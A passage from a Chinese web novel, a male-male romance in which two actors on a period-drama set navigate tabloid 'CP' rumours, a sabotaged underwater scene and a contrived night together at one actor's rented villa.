季沨也笑道:“这儿当然是您跟杨导来啊,自古开机都是导演镇场子。” 不是吧? 肖诚狐疑地看了王不见王的二人一眼,直播的时候那么热情似火,这节目还没拍完呢就开始避嫌拆CP了,现在的小年轻真会玩儿。 “杨导,时间到了!” “好。” 杨阶接过助理递过来的香,一行人瞬间移动站位。 于是,最后是季沨和陆屿洲两个人在人群里打眼的存在各自站在了杨阶和肖诚的两边,他们俩一黑一白,像是结婚仪式上要拜天地的新人,中间还隔着两位要被敬茶的长者,一起弯下腰去下拜。 “来来来,来一张开机照,茄子!” 咔嚓! 几个小演员各自提臀吸气摆poss,季沨弯起眼睛露出招牌式的假笑,唯有陆屿洲垂起眼睛,目光冷峻得像是被绑架。 这张照片比起星光盛典有过之而无不及,几乎是一发出去就上了热搜—— #陆屿洲季沨隔海冷脸# #季沨陆屿洲拆CP# 【笑死,这俩人的CP是综艺限定吗,这拆得可真快啊。】 【我在现场!一开始肖导是想让jf跟lyz站的,结果你们猜怎么着,他们俩各自后退了半步!硬生生把杨导和肖导给怼前面去了!】 【哈哈哈哈哈你退半步的动作认真的吗?】 【都说了节目都是演技吧,CP粉还非不信,好了现在打脸了吧,一下场就开始拆CP,真是笑死。】 【就是啊,人家一个眼神都说能doi,好了现在还能睡在一张床上吗?】 【他俩这咖位本来也不用卖腐撑热度吧,综艺上只能说是演技好啦,大家还是多多支持新剧《帝台春》哦~】 照片拍完,季沨和陆屿洲往各自的方向转头就走,也没有要过多寒暄的意思。 倒是刚往遮阳伞下一坐,刚刚一起拍照的两个小演员就过来打招呼:“季老师!” “季老师好!” “我们带了一点水果,季老师一起吃一点?” “啊谢谢谢谢。”莫可赶紧接过来。 季沨抬头看了一眼,正是他在定妆照里搂过他的那两位,一个演的是他的弟弟七皇子,另一个则是季沨后期昏庸之时……纳的一个男妃。 讲话的是演七皇子的许凌则,最近靠着奶狗人设火起来的,看起来挺热情,笑起来还有两个尖尖的虎牙,很有感染力。 “谢谢,”季沨冲他笑了一下,也没客气,自己从果盘里拿了一颗,“最近荔枝很不错。” 他长发拢起,这样笑起来颇有种贵公子的感觉,旁边的男妃跟着道:“季老师,你真人比镜头里漂亮好多啊。” 男妃涂梦年纪要小一点,讲话声音也低低的,是个跟许凌则一家公司的新人,不过鉴于他的角色,容貌自然也是一等一的好,季沨道:“你也是,你的颜在圈里很少见。” “我没有……” “不用跟我客气了,你这样像是在质疑我的选妃标准,”涂梦刚要谦虚,便听到季沨道,“要是我的妃子长得还不如我好看,我每天对着镜子自娱自乐不就好了。” “哈哈哈哈哈哈哈” 涂梦立刻跟着笑了起来。 陆屿洲过来的时候,看到的正是这一幕。 三个人笑作一团的样子实在太过显眼,以至于陆屿洲想忽略都找不到理由。 他脚步一顿,一边的涂梦和许凌则看到他,立刻乖乖退后一步:“陆老师!” “陆老师好!” “陆老师好!” “陆老师,”坐在折叠椅上的季沨也抬起头,笑道,“吃水果吗?” 季沨今天并没有穿定妆时的锦绣华服,全身上下只有一身雪白的单衣,交领的设计露出修长的脖颈,曲线一览无余,从陆屿洲这个视角,仿佛那顺着那逐渐收窄的领口望见里面的幽深。 但是陆屿洲只是视线一垂,随即淡淡道:“不用了。” 他说完,也没再看季沨一眼,转头走了。 “怎么回事,这态度看起来好像很冷淡啊,他们俩在恋综上不是还如胶似漆吗?” “都说了那都是演的了,人家上个演技综艺你们不会真磕上CP了吧,自己干这行的居然还信圈里有真爱呢?” “就是,粉丝不知道我们自己还看不出来吗?季沨买那么多通稿一个记录都没带,这不是明摆着要下场拆CP的节奏。” “之前不就是传他俩关系不好吗?现在看看这才是真的吧,瞧瞧刚刚lyz脸黑的那个样子,这一看就是不太好啊。” …… 季沨唯一挑眉,视线从陆屿洲远去的身影收回来,将荔枝往嘴里一扔,不多时便舌尖一卷将核吐了出来,转头:“你怎么也跟着在这边,今天不是应该在B组吗?” 《帝台春》讲的是季沨饰演的帝王从不受宠的世子到傀儡皇帝的一生,拍摄也是分成两组,一组是皇子期,一组则是成为帝王之后。 季沨要拍落水戏,自然是不得宠的皇子期才会发生的事,跟他搭戏的是许凌则,涂梦这个男妃应该在另一个组才对。 “陈导说那场戏出了点问题,要先拍别的,让我再等等。” 涂梦说起来语气有些低落,不过很快又打起精神:“所以我来凌则这边看看,有没有什么可以学习的地方。” “刚好下场戏我有个地方不太懂,季老师,”许凌则望着季沨被荔枝沾湿的嘴唇,跟着道,“可以向您请教一下吗?” 季沨抬眸望了他一眼,许凌则露出两颗尖尖的虎牙,笑容诚挚又灿烂。 “不用了吧,你跟我请教不如多去问问杨导和肖导,不然问问张哥也行,”季沨说的是组里的男二,他脸上带着笑,可语气里却是拒人千里的冷淡,“我演技又不好,跟我学等学到什么,万一带坏你们就不好了。” “水果我收下了,谢谢啦,”季沨说,“没什么事的话,我先看会儿剧本,等会儿要拍了。” 二人离开,工作室那边刚刚修完开机要发的图,莫可拿过来给季沨看,季沨点点头,又道:“等会儿去看看陈业那边怎么回事,为什么要不按通告单临时换戏?” “还有,跟剧组的人说,我今天都在拍外景,里面那间休息室应该用不动,要是有等戏的可以先让他们进去坐会儿。” “你刚刚为什么不直接跟涂梦说让他进去?”旁边的郁容接过话,“说不定人家现在还觉得你连个戏都不愿意讲,不近人情呢。” 季沨闻言一挑眉:“那不是挺好。” “你知道为什么不管我去组里还有综艺所有人都对我客客气气吗?” 季沨说:“在我们这个圈子里,有时候让别人怕你比觉得你善良要好得多。” “而且……万一别人觉得我对他太好,喜欢上我怎么办,那你们多麻烦,”季沨笑意盈盈,“我这是在为你们减轻工作量啊,郁哥。” 季沨对熟悉的人就喜欢乱撩,撩人的时候又很喜欢带尾音,唯有郁容对他这个样子彻底免疫,冷冷道:“知道要麻烦你还跟资方在综艺上炒CP,你不怕别人说你这个角色来路不正?” “我这角色本来不就来路不正吗?” 试戏的时候表现那么差还能入选,靠的不是季沨的实力,而是他的商业价值和公司上下打点的关系,季沨心里清楚:“再说了,我那也不叫炒CP,我那是……” 郁容接过他的话:“玩玩而已?” 季沨眉眼一挑,对自己这根深蒂固的形象无法反驳,于是点头道:“啊,对。” “这可是你自己说的,”郁容终于得到他的承认,“那公司的公关应该也没什么问题吧?” 季沨这才发现刚刚那群人说的通稿到底是什么。 他打开微博,便看到那一溜烟的热搜—— #季沨演技# #季沨偶像剧深情集锦# #盘一盘那些年被季沨撩到脸红的明星们# #内娱第一风流渣男# #季沨新剧CP照好带感# …… 阵仗之大,好像生怕任何一个打开微博的人看不到。 季沨盯着那一排密密麻麻的字:“……这是什么?” “给你拆CP啊,”郁容说,“做一个风流随性演技好的人设,让路人觉得你并不是只对陆屿洲这样,只是原本就喜欢乱撩人罢了。” “虽然说之前说不刻意立人设,但这也不算冤枉你吧,你刚刚不是自己都承认了?” 季沨脸上的笑收敛了。 旁边的莫可谨慎地注意着他的神色,方便等会儿他跟郁容吵起来的时候随时劝架或者跑路。 就在他以为季沨即将发飙的时候,却见他只是将手机在手里一转:“当然不算。” 很奇怪,莫可想,最近好几次,比如让他去跟导演应酬去综艺还有这次……以往季沨知道绝对不会做的事情,现在好像都轻飘飘地揭了过去。 凭借莫可对于季沨的了解,他本能地觉得这是某种山雨欲来的前兆,只是他现在还无从窥见那场雨到底有多大。 “那我就谢谢公司的好意了。”季沨漫不经心道,“对了莫莫,“我剧组那套房子收拾出来了吗?” “正要找师傅过去呢沨哥,那几间客房都要动吗,还是像以前一样只动一楼的?” “不,”季沨说,“告诉师傅,客卧一个都不要管,只动一个主卧就行了。” “啊?” 季沨笑了笑。 当然只能动主卧,次卧都收拾出来了,陆屿洲岂不是有别的地方可以住了? “另外,跟杨导说一声,让他把我那场落水戏往前面放放。” “落水戏?先拍这个做什么?这场那么辛苦。” “拍戏能做什么,演戏嘛,”季沨说,“让摄像帮我拍几个看起来凄惨点的图放微博上。” “天哪沨哥!你居然知道营销卖惨P图营业了! 你该不会是被夺舍了吧,我的天哪你是在恋综被活佛普度了吗?” “被和尚破戒了。” “啊?” “啊什么啊,”季沨拍了他的脑袋,“快去找杨导。” 他幽幽地叹了口气:“你知道吧,男人白天不努力,有时候就只能在夜里加倍受苦了。” 他们把人气成这样,季沨总要想办法早点哄哄。 免得气大伤身。 * “都说了喝酒伤肾,你怎么还喝啊?小心不举。” 酒吧里,郝景望着面前一杯杯灌酒的人:“又分手了?” 陆屿洲冷冷地看他一眼:“我们没有分手。” “哦,”郝景点头,“那就是真谈恋爱了?” “你这样的都能脱单?你不是信奉独身主义吗?破戒了?” 陆屿洲握紧了手中的杯子。 “行行行,”郝景还记得他空手握碎杯子的热搜,当即退了两个身位,“别激动别激动,我就是说说而已嘛。” “咱们换个话题聊聊,比如说最近的热点消息啊……” “哦,这个,”郝景望着微博,朗读出声,“盘一盘那些年被季沨撩到脸红的明星们。” “呀,这里面居然还有你啊老陆。” 郝景看着面前的陆屿洲又灌了一杯酒下去,想想之前拍摄时莫名其妙被要走的道具。 哪个设计师会用别人穿过的东西做搭配? 他匪夷所思地看了陆屿洲一眼:“你不会是……吃醋了吧?” “我没有。” 陆屿洲反驳得非常快,像是在欲盖弥彰。 床伴之间怎么会有吃醋这一说? 理智告诉陆屿洲,季沨其实并没有做错什么。 是他将人骗上恋综,是他自己要提出恢复关系,季沨原本就有拒绝和同意的权利,也有和除他以外的任何人开展一段新的关系的权利。 但是……但是只要一想到季沨的拒绝,想到他们的关系就这样走进了尽头,陆屿洲总是会控制不住心中的情绪。 他做不到像季沨那样即便是结束了还能毫无芥蒂。 21天都戒不掉的瘾……只能强迫自己远离。 酒杯又空了,陆屿洲抬手拿起下一个,湛蓝色的酒液很是熟悉,他微微皱起眉:“这个酒叫什么?” “再见前任啊。” 郝景话音刚落,便见陆屿洲啪地将那杯酒放远了。 只是远观又觉得似乎不太像,季沨给他的那杯底部明明是橙红色,而且……酒的味道也明显要浓重许多。 “如果这个下面……” 陆屿洲的话还没来得及问出口,便看到郝景又刷了一下微博:“哎……这不是你们那个剧组吗?” 他说:“季沨拍戏受伤了?” 话音未落,便看到刚刚还在借酒浇愁的陆屿洲热搜都没扫完,猛地抓起车钥匙跑出了门。 “代驾!”郝景看着他跑出的残影吼道,“你叫个代驾啊!” * “只是吊威压的时候碰了一下。” 季沨扶额道:“跟郁容说让他把热搜撤了,剧还没播呢,别让人粉丝对剧组有情绪。” 莫可替他拿来红花油:“你真没事儿啊沨哥?” 季沨的膝盖上有两道肿痕,在白皙的皮肤上确实有点显眼,但是这点伤对季沨来说算不上什么,他当年练舞时韧带拉伤都没吭过一声:“真没事儿,你要是再盯着看两眼,说不定就好了。” “今天不是要拍落水戏吗?”季沨没接他的药,“涂了也没用,等会儿一泡水就掉了。” “我让你找的摄影师找好了吗?” “放心吧沨哥,绝对给你拍得美美的脆弱病公子!微博营销肯定不输对家!” 季沨笑起来:“好啊,那就谢谢莫莫了。” 他今天是为了拍落水戏,只穿了一件雪白单衣,这样懒散躺着的时候,流畅优美的身体曲线一览无余,又因为是皇子时期的事情,妆造都是往脆弱年轻的方向走,原本披散的头发半扎了马尾,看起来十分少年气。 就连莫可也抵挡不住攻势,微微偏了眼睛:“沨哥,杨导让你过去了。” 这场戏不难,不过是季沨饰演的皇子年轻时被人戏弄,将他母亲的凤簪扔下去让他捡。 没什么太需要爆发的情绪,唯一需要注意的不过是水下的动作,因此杨阶草草说了几句,就让季沨下了水。 “第十二场第三幕第一次,Action!” 季沨二话不说跳了进去。 “卡!”杨阶按下对讲,“不对! 水花不对!” “一个成年男子全力跳下去水花不应该这么小,”杨阶说,“你太轻了。” 作为一个演员,季沨难得在体重上被人抱怨,一只手接过莫可递过来的毛巾擦着脸:“那怎么办杨导?” “你能带配重吗?” “可以,带哪儿?” “比起胸口我觉得腰上好一点,比较稳,不容易穿帮。” 季沨一点头:“行。” 这倒是让杨阶愣了一下。 他原以为季沨是那种会在意形象的小年轻,毕竟现在的小鲜肉穿个牛仔裤还要往上提个腰线。 没想到季沨答应得这么痛快,让他二次下水也没有任何意见,不管演技如何,起码作为一个演员来说,敬业倒是挺敬业的。 杨阶对他的态度改观了不少:“我听老肖说你试威压的时候受了伤,没事儿吧?” “没事儿杨导,碰了一下而已。”季沨喝了口热水,觉得体力恢复过来一些,“我差不多了,现在下去吗?” “好。” “第十二场第三幕第二次,Action!” 场记一拍板。 高台之上,季沨身上吊着威压,白色的身影像是坠落的浮萍,直直地跃进水中。 平静的湖面溅起剧烈的水花,季沨几乎是一入水就感觉到了寒意,双手滑动,试图拨开浮萍,寻找那根丢失的簪子。 季沨游泳技术其实还好,只是腿伤到底有些影响他,膝上传来细密的疼痛,腰上的配重扯着他不断向下,季沨将层层遮掩的水草分开,准备伸手—— 簪子不在约定好的地方! 按照杨阶安排好的场景,这一幕分明是应该是下水取簪上岸的连贯动作。 他在水下闭气的时间已经过长,季沨瞬间拧眉换了个方向。 从监视器里看来,就像是季沨拼尽全力想要寻找到母亲的簪子,杨阶没想到他还有这个设计,一时惊喜,并没有察觉到异常。 直到季沨从另一侧的角落捞到簪子,猛地探出头来! 长发被湖水打湿,脸颊因为闭气过久变得涨红,可是那双眼睛却是如此的明亮,带着如释重负的喜悦。 “快快快!镜头推上去!” 特写立刻跟上,监视器里季沨一双漂亮清透的眼睛,杨阶刚要大呼一声好! 却见到季沨做完这个动作,忽然像是脱力般,手指一松,向后坠了下去。 杨阶这才如梦初醒,吼道:“快快快!威亚!拉他上来!” “季老师!” “季老师没事吧?!” “咳咳咳咳……” 季沨面容惨白,猛地呛了几口水,众人正要去拉他,却又一人更快,大步一迈,几乎在季沨上岸的一瞬间就将人抱在怀中:“你怎么样?” 季沨的嗓子被水呛得有点哑,只冲他摆了摆手。 陆屿洲一只手帮他顺着气,脸色瞬间阴沉下来。 “杨导……”季沨缓过来口气,试图告诉杨阶刚刚的状况,“簪子……” “我知道。” 发生这样的事,杨阶的脸色同样不好看,扭头便怒道:“道具呢!刚刚怎么放的东西! 这么重要的道具居然能不在原位!” “能干就干不能干都给老子滚!剧组这么多人等着不是看你们在这里给我失误的!” “刚刚的簪子是谁放的! 给我滚出来!” 一个看起来瘦小的男生出了列,听起来已经被吓得颤颤巍巍:“导、导演……我……对不起。” “对不起有什么……” 杨阶的话还没说完,一道声音插了进来:“谁带你的?” 这是季沨第一次见陆屿洲打断别人讲话。 他的语气沉且冷,脸色不辨喜怒。 “道具,我是道具这边的。” “道具归谁管?” “我再问一遍,”陆屿洲扫视了一圈众人,“道具组,归谁管?” 道具组长硬着头皮站出来:“我们在剧组一般是听陈导调度。” “好,”陆屿洲说,“让陈业过来见我。” 陈业来得很快,像是已经听说了这边的事,一来就先道歉:“对不起对不起,是我没带好手下的人,让季老师受惊了。” “季老师没事儿吧?哎哟演员拍个戏确实辛苦,快快给季老师端杯热水来。” 陈业说着正要上前,陆屿洲默不作声地挡住了他的视线。 “陈导,”陆屿洲冷冷地望着他,“既然是你出的问题,你觉得这事儿应该怎么处理?” 陈业被那个眼神看得一个激灵,干笑道:“这人就是个剧组的实习生,你放心,我现在就让他回学校好好练练。” 旁边的实习生身子一抖,看起来都快要哭出来了。 岂料陆屿洲看都没看一眼,依然逼视着陈业:“我不是说实习生,我是问你。” “陈业,你觉得你自己该怎么处理?” 他身量高,面容锋利冷峻,这样望着一个人的时候,很容易产生压迫感。 陈业脸上的笑顿时挂不住了。 他大小也是个导演,当着这么多人的面被一个后辈这么逼问……旁边的杨阶试图调和:“小陆啊,我看就是实习生不上心,不然就……” “杨导,”陆屿洲冷冷地打断他,“道具在两天时间里在同一个演员身上出了两次问题,您觉得这是巧合吗?” 想起那天在地下停车场听到的话,陆屿洲现在还觉得有些作呕,他原以为只是在选角上多嘴两句,没曾想到这人居然敢真的在剧组对季沨使绊子。 他眼中的怒气如有实质。 杨阶瞬间说不出话了。 “我尊敬您二位是前辈。” 陆屿洲一字一句道:“但是,我才是这部戏的监制。” “我有权利对剧组的财务支出和人员安排作出决定。” “既然陈导想不出来,那我来说,”陆屿洲扫视过众人,“季沨这次受伤的误工费和治疗费用根据剧组的相关合约进行赔偿,为了项目以后不再出现这样的损失和关于针对的演员的负面新闻——” “暂停陈业对于道具组的管理,从今天开始,由肖诚导演进行统筹安排。” 他说完,再也没有看陈业一眼,只是转眸望向杨阶,虽然是询问,却是命令的语气:“行吗?杨导?” 陆屿洲大多数时候都是称自己非专业,对剧组的意见不发表任何决定。 这是杨阶第一次见他发这么大的火,像是一柄年轻却锐利的剑。 但陆屿洲说得对,他才是这个剧的监制,是剧组运行的最大资本。 杨阶点了点头。 陈业的脸色瞬间被气得发紫,看样子似乎想要破口大骂。 季沨突然在这时候轻咳了两声。 陆屿洲立刻转过头:“怎么了?” “有点冷……”他看完了一整场的戏,直到这个时候才行使自己作为主角的存在感,一点水痕顺着潮湿的头发落下来,让那张脸都看起来楚楚可怜。 刚刚还大杀四方的陆屿洲声音瞬间放轻了许多,像一只被拉进了笼子里的猛兽:“威亚伤哪了?” “膝盖。” 话音刚落,陆屿洲就将他打横抱了起来。 “陆屿洲,”季沨猛地腾空,手指下意识勾住了他的脖子,“后面有人……” “不想管,”陆屿洲心情不是很好的样子,“先带你去换衣服。” 到底是富家少爷,陆屿洲发起脾气来颇有几分任性的样子,压根没管后头面面相觑的众人。 好在由于他刚刚那番脾气,以至于众人吓得动都动不敢动,这样的场景,居然连一个敢摸手机的都没有。 唯有莫可鬼鬼祟祟跟在他们身后—— 果然是每一个苏炸天的偶像剧里面都有一个倒霉的助理。 说要带季沨换衣服? 可是衣服呢?! 难道是打算等儿直接把自己身上的脱给季沨然后光着出来吗? 莫可一边望风一边看陆屿洲将季沨一路抱到了休息室,临到进门的时候却突然将人放下了:“你……自己可以吗?” 季沨笑了:“我只是膝盖碰到了,又不是腿断了,陆老师。” “不过还是谢谢你了,”季沨说,“肌肉练得不错,这还是我生平第一次被公主抱。” 陆屿洲轻捻了下指腹。 他其实很佩服季沨这种不管什么时候都能若无其事笑意盈盈的样子。 他就不行。 都已经费尽心思追到了恋综,提出复合之后被拒绝,陆屿洲的骄傲和礼节不允许他再死缠烂打,他和季沨的关系几乎已经走到了死胡同。 陆屿洲很难找到一个合适的身份面对他。 “嗯,”陆屿洲只能强迫自己冷淡回复,“那你去吧。” 季沨点点头倒也没再说什么,只是蓦地从陆屿洲怀里出来,腿上一软,下意识扶住了门框。 “怎么样?” 陆屿洲迅速抓住他的手臂:“你……” “我明白,”季沨脸上的笑温和又包容,轻声道,“介于我们之前的关系,总归是要避嫌的。” “放心,我自己可以的。” 季沨主动松开了他的手站直身体,潮湿的发丝贴在他的额前,眼尾还有一点水珠,季沨年纪本就不大,又因为这个半马尾的妆造,看起来颇为稚嫩可怜。 明明自己要将人放下,现在那人真的抽离,陆屿洲不知缘何又觉得心里有些怅然若失,垂眸注视着季沨,忽然从口袋里拿出纸巾,替他将眼尾的那一点水珠给抹去了:“有点红了。” “可能是下水时间太长有点充血。” 陆屿洲望着季沨季沨的眼睛,轻声道:“我等会儿让助理买点蒸汽眼罩,你换完衣服敷一会儿。” 陆屿洲这种对外冷淡却又总是不经意的温柔确实很致命,让季沨想起事后的温存。 他用了很大的意志力才没有露出破绽,只是微微一笑:“好,那我先进去了。” 休息室的门终于将两个依依惜别的人隔开,莫可长长地松了一口气,火速抱着衣服往里冲。 陆屿洲眼睁睁看着自己进不去的门迅速跑进了一个人:“你……” 莫可用力回答:“陆老师我来给季老师送衣服!” 说罢,才喘了口气,将准备好的衣服往桌上一放。 季沨的假发已经解下,换衣服倒是很快,为了好穿,莫可给他拿的是一件很像是浴袍的交领长衫,松松垮垮地披在身上,只在腰间做了一个系带。 季沨一只手系着腰带,莫可这才转过身,想起刚刚那一幕:“沨哥,你跟陆老师到底什么关系啊?” 季沨微微挑起眉:“是你自己想问,还是郁容让你问的?” 他们都是一个经纪团队,艺人的情感状况按理说不该瞒着经纪人,他问和郁容不应该有什么区别。 但是混这个圈的都是人精,莫可凭着多年的经验听出了其中微妙的不同:“就是我自己好奇而已啦,郁哥他还在公司忙项目的,不知道剧组的事儿。” “不过我想陆老师今天也只是因为剧组的损失发了会儿火,没什么大事儿,郁哥要是不知道就算了。” 季沨笑了起来:“莫莫,你这个季度奖金还没发的吧。” “从我自己帐上先过点,前段时间不是说想买新出的机子吗?给你报销。” 给钱的当然是老大,莫可欢天喜地:“谢谢沨哥!” “别急着写,确实有个小忙需要你帮。” “什么忙?” 却见季沨微微一笑:“会背台词吗?” * 房门一打开,陆屿洲立刻闪身进来。 手里拿着一瓶从剧组那里借过来的红花油:“你的伤怎么样?” 季沨撩起膝盖,那两道红痕在白皙的皮肤上显得分外扎眼,陆屿洲将红花油倒在手心里搓热,手指覆盖上去。 旁边的莫可眼观鼻观心,好家伙,原来是之前那句避嫌说的只是避个裸/体。 眼前的超模半跪在地,将季沨小腿的放在自己的膝头,动作细致又温柔,看起来是个十分美好的画面。 但是没办法,谁让他拿了出场费,就算是被打也得把台词说完。 莫可自己摁响手机铃声,握着听筒走到一边,朗声道:“什么?我大姨父的二姑的大儿子的媳妇要生了?!” “好好好,我现在马上过去。” 莫可一脸焦急回到季沨身边:“沨哥,你一个人回去没事儿吧?” “没关系,”季沨的嗓音带着些虚弱沙哑,“你家里有事儿就先回去吧,我一个人能行的。” 陆屿洲握在季沨小腿上的手指一紧。 抬起头,看到季沨苍白的脸色,骨节分明的手指虚虚抵在胃部。 上班没个定时,胃病几乎是演员的职业病了,季沨也有一点。 不严重,只是偶尔不吃饭会疼,所以如果要做通宵,陆屿洲都会提前点一些东西备着。 季沨在水下待了那么久,不会连饭都没吃吧? 像他这样的顶流不是应该有很多助理吗?怎么会一个请假就只剩他一个人了,经纪人去哪了? “那……沨哥……” “没关系,”季沨点头,语气温柔又善解人意,“你要是着急可是先打车走,我等会儿自己开车回去就行。” 季沨的膝盖上还有伤,怎么能自己开车回去? 陆屿洲的眉头越拧越深,明明知道自己已经没有立场,理智和情感还是在两头拉扯交战,手上也不自觉用了力。 “陆老师?” 季沨的小腿不安地动了动,陆屿洲这才发现,腿腹的地方已经被握出了一圈红痕。 “对不起,那个,我……” 陆屿洲话音一顿。 季沨的小腿不知道什么时候被他抓着分开,他全身上下只穿了一件长衫,从陆屿洲的这个视角,可以顺着那流畅漂亮的小腿一路往上,看到季沨大腿内侧隔了快一周还没消退的咬痕。 而季沨这样双腿微分坐在沙发上,就像是在…… 陆屿洲耳垂一红,名为理智的那根弦瞬间崩断了。 “陆老师,眼罩我买回来了!您是现在要……” 明文拎着袋子正要进门,突然被陆屿洲一把推了出去,话说到一半,看到陆屿洲表情严肃压低声音:“会背台词吗?” * “哎呀季老师!好巧啊,你们也去停车场吗,刚好,一起吧?” 莫可正要送季沨上车,便看到明文一副自来熟的样子追上来。 以及他身后的……陆屿洲。 察觉到季沨的视线,陆屿洲摸了摸鼻子,一脸急着撇清关系的样子:“明文是你的粉丝,想跟你多走一会儿。” 草! 剧本里没这段啊! “啊对对对对,”谁让这年头给钱的是老板,明文面上微笑,连连点头:“其实我一直是您的粉丝来着季老师。” “你的那部《盛夏光影》和《追踪》我真的特别喜欢,”明文凭借着出色的业务能力准确无误地背出了季沨的几部代表作,诚恳地好像是宫斗剧里某种职业性角色,“现在终于能跟您一起工作,我真是太开心了。” “这样,”季沨微一挑眉,“谢谢你。” “你们现在是要去酒店吗?”他扫了眼身后的陆屿洲,“这么晚了,开车回市区应该也挺远的吧?” 太好了!季沨这话简直是瞌睡了送枕头,明文正愁不知道怎么开口,当即道:“就是说啊季老师,今天也不知道是怎么回事,可能是剧组太多,片场附近的星级酒店全都满房了,居然一间都订不到!” 这理由可真够拙劣的,陆屿洲作为资方代表过来,哪怕是真的没房,剧组把陈业和肖诚从酒店里扔出来也不会让陆屿洲流落街头的。 但是季沨表现十分配合地表现出担忧的样子:“啊,那怎么办啊?” 他眉头紧皱,看起来很是着急,以至于都牵动旧伤,捂着胸口咳了两声。 “没事儿吧?”陆屿洲立刻快步朝他走过来。 “没事,”季沨摆摆手,继续给陆屿洲递台阶,“所以你住哪?一间酒店都没有了吗?” “不知道,不想住旅馆,”陆屿洲有洁癖季沨是知道的,“实在不行,就在车里对付一晚吧。” 他的语气很低,眼眸低垂,听起来似乎还有那么一点委屈撒娇的意思。 “那怎么行?”明文尽职尽责地背着台词,“季老师你住哪啊?” “咳咳,”陆屿洲轻咳了两声,像是为了证明自己绝对没有任何结束后的非分之想,划清界限道,“他想找你要签名。” 苍天啊,明文在心中腹诽,您直接说想跟他住不行吗? 这年头钱真是难挣,他老板这样要是能脱单也真是祖上积德。 “签名?”季沨一脸无奈,“可是我现在手里也没有笔呀。” “酒店肯定有吧。” 明文发誓明天一定要涨工资,这可是另外的费用:“就是我今天有点事要先走了,可能来不及去拿。” 也不知道为什么一个签名这么急迫,陆屿洲幽幽接过话:“没关系,那我帮你拿吧。” 此言一出,连旁边站在看戏的莫可都恍然大悟,忍不住插话道:“哎呀那真是太巧了,刚好我今天也有事呢。” “不然这样,陆老师您直接跟沨哥回去住得了,反正他那也不差你一个房间,顺便还可以替明文把签名拿过来,别让他等着急了。” 目的达成,陆屿洲只觉得今晚的一切都顺利得过分,眼巴巴转向季沨:“可以吗,季老师?” 季沨非常艰难地忍着笑,对陆屿洲这差劲的演技叹为观止,面上却是一副犹豫思考的样子:“这样啊……那行吧,你跟我回去?” 果然,他就说自己还是有点编剧天才。 季沨看起来一点也没有起疑,陆屿洲心下稍安,立刻上前打开车门:“好,我带你。” 苍天呐!莫可和明文齐齐感叹,像是送新人入洞房一般双双松了口气—— 这可终于进去了! 陆屿洲精心准备的车厢终于迎来了他想要的副驾,递了个抱枕给季沨垫在腰后,又撕了个蒸汽眼罩让他先补眠,将自己收藏的黑胶唱片塞进CD机,随后终于毫不刻意地打开对着江沼关上两次的储物格—— “季老师,你喜欢什么味道的香薰?” 第29章 第二十九章 季沨报了个地址, 便在温柔的黑醋栗香里睡了过去。 可是等导航的终点到达,陆屿洲还是把季沨给叫醒了。 他望着外面的一排别墅区:“我们……是不是来错地方了?” “没有啊,”季沨睁开眼睛, 微微笑了起来,“我好像从来也没有说过我住酒店吧?” 可是陆屿洲跟季沨在酒店里待过不少, 这种侵入彼此的私人领地,却还是第一次。 他们现在的关系, 是能够随意进出对方家里的吗? 陆屿洲的手指搭在方向盘上, 有些犹豫。 季沨没看到他的神情, 他刚睡醒,胃部空落落的, 偏头抵在车窗:“唔……” 陆屿洲立刻转头:“怎么了?” “可能是晚上没吃饭吧, ”季沨的眉头因为疼痛皱起, 声音也淡淡,“有点胃疼。” 果然是没吃饭吗! 陆屿洲二话不说拉开车门,半抱着季沨下了车:“你住哪一栋?” 季沨指了指,随后报了一串数字, 虚弱地靠在他怀里:“你去开门。” 陆屿洲手指微微一顿。 季沨家里密码的最后四位数……是他的生日。 但这显然是只是个巧合, 因为他前两位的年份是五年前,除非季沨有个儿子,不然那不可能是任何认识的人的生辰。 于是陆屿洲也没有发问, 开了锁便带着季沨进门。 即便是知道这里是别墅区,陆屿洲进门的时候, 还是讶异了一瞬。 三进的中式庭院, 三层的洋房, 看起来便奢华精致的装修,这边离片场近, 能来这里买房的都是常驻横店的大导,但是季沨一年可能也只有几个月待在这儿。 陆屿洲:“这是你家?” “是啊。” 陆屿洲扫视了一下周围的布局……这里少说也得有几个小目标,季沨就算是顶流,也是这两年刚刚火起来了,买下这个对他来说也并不是很容易的事情。 他犹豫了一下:“为什么要把房子买在这儿?” “谁告诉你说这是我买的了,”季沨说,“租的而已。” “租的?” “对啊,”季沨点头,“像这样的房子我还租了很多套,分布在各个城市和度假区,如果你有时间过去,可以随便住。” 陆屿洲跟着他进了房门,这才看到室内的装修。 季沨说得没错,这看起来的确像是用来出租的。 样板房一样的家具和摆件,漂亮归漂亮,可是没有一点生活气。 想到季沨住在这样的偌大空荡的房子里,不知道为什么比剧组的酒店更让他觉得不舒服:“为什么要租这么多?” “不知道,可能钱多烧得慌,”季沨往沙发上一靠,“反正我又不买房,能住好点就住好点吧。” “你没买房?” “我又不成家买什么房。” 季沨说得理所当然,陆屿洲本能地察觉到关于缺失的父母的部分,他张了张嘴,却还是没有开口去问,只是道:“同性恋又不是不能成家。” “也许吧。”季沨满不在乎地笑笑,“也许哪天会买婚房?” “或者……” 他的声音有些低,陆屿洲不由自主地跟着问出声:“或者?” “或者等到三十岁那年就退圈,拿着最后一笔积蓄,找个四季有风的地方,买一套小房子,跟当地人一样吃饭逛街压马路,半夜开车看日出。” 陆屿洲心中的不适感不知为何越扩越大:“你……一个人?” “不然呢?”季沨说,“当然,有人来探望还是欢迎的。” 他看了眼陆屿洲的神色:“你不会是在可怜我吧陆老师,我这样已经是很多人梦寐以求的生活了,我很小的时候就是这么想的,现在一伸手就能实现了,想想还是挺幸运的。” 陆屿洲别过脸,没去看季沨那双漂亮忧郁的眼睛,转头去开冰箱,只是声音有点发涩:“我先给做点东西。” “这里面没什么菜,做个西红柿鸡蛋面可以吗?” “好啊。”季沨笑起来,看陆屿洲挽起袖口在灶台边忙碌的样子,“陆老师,我突然我对你印象好点有点偏见。” “偏见?” “嗯,我以前觉得,你可能是那种十指不沾阳春水的富家少爷。” 季沨这么说,陆屿洲倒也没生气,反正因为换了个话题莫名松了口气,一只手压着番茄去皮,顺着他道:“现在呢?” “现在,”季沨撑着下巴,“突然觉得……你好像很贤惠。” 陆屿洲生平第一次听到这两个字能跟自己联系起来,划着番茄皮的手一抖,听到季沨轻声道:“怎么办,感觉自己好像领回家一个田螺姑娘。” 他总是有办法把什么话都说得撩人,陆屿洲的耳垂有点微微发红:“田螺姑娘又不是领回家的。” “那他是怎么回家的?” “田螺姑娘不是应该是在主人不在家的时候,偷偷出来洗衣做饭吗?” 